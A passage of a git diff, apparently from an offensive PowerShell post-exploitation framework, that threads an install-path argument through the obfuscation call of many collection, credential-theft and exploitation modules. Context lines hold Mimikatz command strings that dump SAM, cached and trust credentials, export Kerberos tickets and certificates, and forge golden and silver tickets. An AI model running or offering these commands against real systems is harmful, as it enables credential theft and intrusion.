         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/USBKeylogger.py b/lib/modules/powershell/collection/USBKeylogger.py
index 3ab8daf..8fa6881 100644
--- a/lib/modules/powershell/collection/USBKeylogger.py
+++ b/lib/modules/powershell/collection/USBKeylogger.py
@@ -79,6 +79,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/WebcamRecorder.py b/lib/modules/powershell/collection/WebcamRecorder.py
index 763cf41..6258f09 100644
--- a/lib/modules/powershell/collection/WebcamRecorder.py
+++ b/lib/modules/powershell/collection/WebcamRecorder.py
@@ -216,5 +216,5 @@ Start-WebcamRecorder"""
                     else:
                         script += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/collection/browser_data.py b/lib/modules/powershell/collection/browser_data.py
index 0a455b5..6f0f9a0 100644
--- a/lib/modules/powershell/collection/browser_data.py
+++ b/lib/modules/powershell/collection/browser_data.py
@@ -103,6 +103,6 @@ class Module:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/clipboard_monitor.py b/lib/modules/powershell/collection/clipboard_monitor.py
index d12fe04..e13bac2 100644
--- a/lib/modules/powershell/collection/clipboard_monitor.py
+++ b/lib/modules/powershell/collection/clipboard_monitor.py
@@ -89,6 +89,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/file_finder.py b/lib/modules/powershell/collection/file_finder.py
index e66d908..8b8f7bf 100644
--- a/lib/modules/powershell/collection/file_finder.py
+++ b/lib/modules/powershell/collection/file_finder.py
@@ -162,5 +162,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/collection/find_interesting_file.py b/lib/modules/powershell/collection/find_interesting_file.py
index 1a68474..6795ee6 100644
--- a/lib/modules/powershell/collection/find_interesting_file.py
+++ b/lib/modules/powershell/collection/find_interesting_file.py
@@ -127,5 +127,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/collection/get_indexed_item.py b/lib/modules/powershell/collection/get_indexed_item.py
index 3039b13..37c8a8e 100644
--- a/lib/modules/powershell/collection/get_indexed_item.py
+++ b/lib/modules/powershell/collection/get_indexed_item.py
@@ -88,6 +88,6 @@ class Module:
         scriptEnd += " | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY"
         scriptEnd += " | fl | Out-String;"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/get_sql_column_sample_data.py b/lib/modules/powershell/collection/get_sql_column_sample_data.py
index 7f9d007..3f32243 100644
--- a/lib/modules/powershell/collection/get_sql_column_sample_data.py
+++ b/lib/modules/powershell/collection/get_sql_column_sample_data.py
@@ -114,6 +114,6 @@ class Module:
         if no_defaults:
             scriptEnd += " -NoDefaults "
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/get_sql_query.py b/lib/modules/powershell/collection/get_sql_query.py
index bdf45f5..7079566 100644
--- a/lib/modules/powershell/collection/get_sql_query.py
+++ b/lib/modules/powershell/collection/get_sql_query.py
@@ -89,6 +89,6 @@ class Module:
             scriptEnd += " -Instance "+instance
         scriptEnd += " -Query "+"\'"+query+"\'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/inveigh.py b/lib/modules/powershell/collection/inveigh.py
index 828d8ef..bf3425c 100644
--- a/lib/modules/powershell/collection/inveigh.py
+++ b/lib/modules/powershell/collection/inveigh.py
@@ -232,6 +232,6 @@ class Module:
                         else:
                             scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/keylogger.py b/lib/modules/powershell/collection/keylogger.py
index 2318eb6..0a5d619 100644
--- a/lib/modules/powershell/collection/keylogger.py
+++ b/lib/modules/powershell/collection/keylogger.py
@@ -77,6 +77,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/minidump.py b/lib/modules/powershell/collection/minidump.py
index 0b74e07..ea99308 100644
--- a/lib/modules/powershell/collection/minidump.py
+++ b/lib/modules/powershell/collection/minidump.py
@@ -98,6 +98,6 @@ class Module:
                 if option != "Agent" and option != "ProcessName" and option != "ProcessId":
                     scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/netripper.py b/lib/modules/powershell/collection/netripper.py
index 0be077d..304b1fa 100644
--- a/lib/modules/powershell/collection/netripper.py
+++ b/lib/modules/powershell/collection/netripper.py
@@ -117,6 +117,6 @@ class Module:
 
         scriptEnd += ";'Invoke-NetRipper completed.'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/ninjacopy.py b/lib/modules/powershell/collection/ninjacopy.py
index 8f9aa35..a056072 100644
--- a/lib/modules/powershell/collection/ninjacopy.py
+++ b/lib/modules/powershell/collection/ninjacopy.py
@@ -103,6 +103,6 @@ class Module:
                     
         scriptEnd += "; Write-Output 'Invoke-NinjaCopy Completed'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/packet_capture.py b/lib/modules/powershell/collection/packet_capture.py
index ae26455..8c367c0 100644
--- a/lib/modules/powershell/collection/packet_capture.py
+++ b/lib/modules/powershell/collection/packet_capture.py
@@ -90,5 +90,5 @@ class Module:
             if persistent != "":
                 script += " persistent=yes"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/collection/prompt.py b/lib/modules/powershell/collection/prompt.py
index b0b00da..4339abd 100644
--- a/lib/modules/powershell/collection/prompt.py
+++ b/lib/modules/powershell/collection/prompt.py
@@ -120,5 +120,5 @@ Invoke-Prompt """
                     else:
                         script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/collection/screenshot.py b/lib/modules/powershell/collection/screenshot.py
index 091a2d2..b5a4fc2 100644
--- a/lib/modules/powershell/collection/screenshot.py
+++ b/lib/modules/powershell/collection/screenshot.py
@@ -115,5 +115,5 @@ Get-Screenshot"""
                     else:
                         script += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py b/lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py
index a348ea6..282050f 100644
--- a/lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py
+++ b/lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py
@@ -118,6 +118,6 @@ class Module:
         scriptEnd += "\nFind-KeePassconfig | Get-KeePassConfigTrigger "
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/vaults/find_keepass_config.py b/lib/modules/powershell/collection/vaults/find_keepass_config.py
index b4ef71a..5e63397 100644
--- a/lib/modules/powershell/collection/vaults/find_keepass_config.py
+++ b/lib/modules/powershell/collection/vaults/find_keepass_config.py
@@ -90,6 +90,6 @@ class Module:
 
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py b/lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py
index b0a0935..a937b0b 100644
--- a/lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py
+++ b/lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py
@@ -90,6 +90,6 @@ class Module:
 
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/vaults/keethief.py b/lib/modules/powershell/collection/vaults/keethief.py
index 836c398..9122971 100644
--- a/lib/modules/powershell/collection/vaults/keethief.py
+++ b/lib/modules/powershell/collection/vaults/keethief.py
@@ -90,6 +90,6 @@ class Module:
 
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py b/lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py
index 7cce50d..5de6543 100644
--- a/lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py
+++ b/lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py
@@ -92,6 +92,6 @@ class Module:
         scriptEnd += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger "
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/credential_injection.py b/lib/modules/powershell/credentials/credential_injection.py
index 30b3638..bf541e4 100644
--- a/lib/modules/powershell/credentials/credential_injection.py
+++ b/lib/modules/powershell/credentials/credential_injection.py
@@ -151,6 +151,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/enum_cred_store.py b/lib/modules/powershell/credentials/enum_cred_store.py
index c04fa82..7e5afc8 100644
--- a/lib/modules/powershell/credentials/enum_cred_store.py
+++ b/lib/modules/powershell/credentials/enum_cred_store.py
@@ -54,6 +54,6 @@ class Module:
 
         scriptEnd = "\n%s" %(scriptCmd)
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/invoke_kerberoast.py b/lib/modules/powershell/credentials/invoke_kerberoast.py
index ec8e320..a94ef2a 100644
--- a/lib/modules/powershell/credentials/invoke_kerberoast.py
+++ b/lib/modules/powershell/credentials/invoke_kerberoast.py
@@ -124,6 +124,6 @@ class Module:
 
         scriptEnd += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/cache.py b/lib/modules/powershell/credentials/mimikatz/cache.py
index 64f2a8d..90b0986 100644
--- a/lib/modules/powershell/credentials/mimikatz/cache.py
+++ b/lib/modules/powershell/credentials/mimikatz/cache.py
@@ -76,6 +76,6 @@ class Module:
         scriptEnd += "'\"token::elevate\" \"lsadump::cache\" \"token::revert\"';"
         
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/certs.py b/lib/modules/powershell/credentials/mimikatz/certs.py
index bc6cfa7..9bb7f87 100644
--- a/lib/modules/powershell/credentials/mimikatz/certs.py
+++ b/lib/modules/powershell/credentials/mimikatz/certs.py
@@ -73,6 +73,6 @@ class Module:
         # add in the cert dumping command
         scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"' """
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/command.py b/lib/modules/powershell/credentials/mimikatz/command.py
index 6fe1eaa..c5d8ab1 100644
--- a/lib/modules/powershell/credentials/mimikatz/command.py
+++ b/lib/modules/powershell/credentials/mimikatz/command.py
@@ -79,6 +79,6 @@ class Module:
         scriptEnd = "Invoke-Mimikatz -Command "
         scriptEnd += "'\"" + self.options['Command']['Value'] + "\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/dcsync.py b/lib/modules/powershell/credentials/mimikatz/dcsync.py
index c5c9305..4f725b9 100644
--- a/lib/modules/powershell/credentials/mimikatz/dcsync.py
+++ b/lib/modules/powershell/credentials/mimikatz/dcsync.py
@@ -100,6 +100,6 @@ class Module:
 
         scriptEnd += "\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
index e622667..cd46e70 100644
--- a/lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
+++ b/lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
@@ -109,6 +109,6 @@ class Module:
 
         scriptEnd += "| Out-String;"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/extract_tickets.py b/lib/modules/powershell/credentials/mimikatz/extract_tickets.py
index eec8576..33d9ea7 100644
--- a/lib/modules/powershell/credentials/mimikatz/extract_tickets.py
+++ b/lib/modules/powershell/credentials/mimikatz/extract_tickets.py
@@ -72,6 +72,6 @@ class Module:
 
         scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/golden_ticket.py b/lib/modules/powershell/credentials/mimikatz/golden_ticket.py
index 4370568..3a9da38 100644
--- a/lib/modules/powershell/credentials/mimikatz/golden_ticket.py
+++ b/lib/modules/powershell/credentials/mimikatz/golden_ticket.py
@@ -150,6 +150,6 @@ class Module:
 
         scriptEnd += " /ptt\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/logonpasswords.py b/lib/modules/powershell/credentials/mimikatz/logonpasswords.py
index 9bcc167..b8f0d6e 100644
--- a/lib/modules/powershell/credentials/mimikatz/logonpasswords.py
+++ b/lib/modules/powershell/credentials/mimikatz/logonpasswords.py
@@ -78,6 +78,6 @@ class Module:
                 if values['Value'] and values['Value'] != '':
                     scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/lsadump.py b/lib/modules/powershell/credentials/mimikatz/lsadump.py
index 94692fb..6fab658 100644
--- a/lib/modules/powershell/credentials/mimikatz/lsadump.py
+++ b/lib/modules/powershell/credentials/mimikatz/lsadump.py
@@ -86,6 +86,6 @@ class Module:
 
         scriptEnd += "\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/mimitokens.py b/lib/modules/powershell/credentials/mimikatz/mimitokens.py
index 23020b4..afa5f63 100644
--- a/lib/modules/powershell/credentials/mimikatz/mimitokens.py
+++ b/lib/modules/powershell/credentials/mimikatz/mimitokens.py
@@ -137,6 +137,6 @@ class Module:
 
         scriptEnd += "\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/pth.py b/lib/modules/powershell/credentials/mimikatz/pth.py
index 423969f..6da1a65 100644
--- a/lib/modules/powershell/credentials/mimikatz/pth.py
+++ b/lib/modules/powershell/credentials/mimikatz/pth.py
@@ -126,6 +126,6 @@ class Module:
 
         scriptEnd += ';"`nUse credentials/token to steal the token of the created PID."'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/purge.py b/lib/modules/powershell/credentials/mimikatz/purge.py
index edac4ea..834d804 100644
--- a/lib/modules/powershell/credentials/mimikatz/purge.py
+++ b/lib/modules/powershell/credentials/mimikatz/purge.py
@@ -74,6 +74,6 @@ class Module:
         # set the purge command
         scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::purge\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/sam.py b/lib/modules/powershell/credentials/mimikatz/sam.py
index 2d229fb..4672a4c 100644
--- a/lib/modules/powershell/credentials/mimikatz/sam.py
+++ b/lib/modules/powershell/credentials/mimikatz/sam.py
@@ -76,6 +76,6 @@ class Module:
 
         scriptEnd += "'\"token::elevate\" \"lsadump::sam\" \"token::revert\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/silver_ticket.py b/lib/modules/powershell/credentials/mimikatz/silver_ticket.py
index 47187f9..0deb85c 100644
--- a/lib/modules/powershell/credentials/mimikatz/silver_ticket.py
+++ b/lib/modules/powershell/credentials/mimikatz/silver_ticket.py
@@ -162,6 +162,6 @@ class Module:
 
         scriptEnd += " /ptt\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/mimikatz/trust_keys.py b/lib/modules/powershell/credentials/mimikatz/trust_keys.py
index c216a2a..720cf4e 100644
--- a/lib/modules/powershell/credentials/mimikatz/trust_keys.py
+++ b/lib/modules/powershell/credentials/mimikatz/trust_keys.py
@@ -80,6 +80,6 @@ class Module:
         else:
             scriptEnd += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/powerdump.py b/lib/modules/powershell/credentials/powerdump.py
index 2abe750..caba57a 100644
--- a/lib/modules/powershell/credentials/powerdump.py
+++ b/lib/modules/powershell/credentials/powerdump.py
@@ -70,6 +70,6 @@ class Module:
 
         scriptEnd = "Invoke-PowerDump"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/sessiongopher.py b/lib/modules/powershell/credentials/sessiongopher.py
index c7acc1b..ee707d1 100644
--- a/lib/modules/powershell/credentials/sessiongopher.py
+++ b/lib/modules/powershell/credentials/sessiongopher.py
@@ -136,6 +136,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/tokens.py b/lib/modules/powershell/credentials/tokens.py
index f79785f..06761f3 100644
--- a/lib/modules/powershell/credentials/tokens.py
+++ b/lib/modules/powershell/credentials/tokens.py
@@ -155,6 +155,6 @@ class Module:
                 if self.options['RevToSelf']['Value'].lower() != "true":
                     scriptEnd += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/credentials/vault_credential.py b/lib/modules/powershell/credentials/vault_credential.py
index ab983b6..07623da 100644
--- a/lib/modules/powershell/credentials/vault_credential.py
+++ b/lib/modules/powershell/credentials/vault_credential.py
@@ -73,6 +73,6 @@ class Module:
         
         scriptEnd = "Get-VaultCredential"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/exfiltration/egresscheck.py b/lib/modules/powershell/exfiltration/egresscheck.py
index 02d56e5..902c19d 100644
--- a/lib/modules/powershell/exfiltration/egresscheck.py
+++ b/lib/modules/powershell/exfiltration/egresscheck.py
@@ -119,6 +119,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/exploitation/exploit_jboss.py b/lib/modules/powershell/exploitation/exploit_jboss.py
index 3cf9645..5fe2b02 100644
--- a/lib/modules/powershell/exploitation/exploit_jboss.py
+++ b/lib/modules/powershell/exploitation/exploit_jboss.py
@@ -110,6 +110,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/exploitation/exploit_jenkins.py b/lib/modules/powershell/exploitation/exploit_jenkins.py
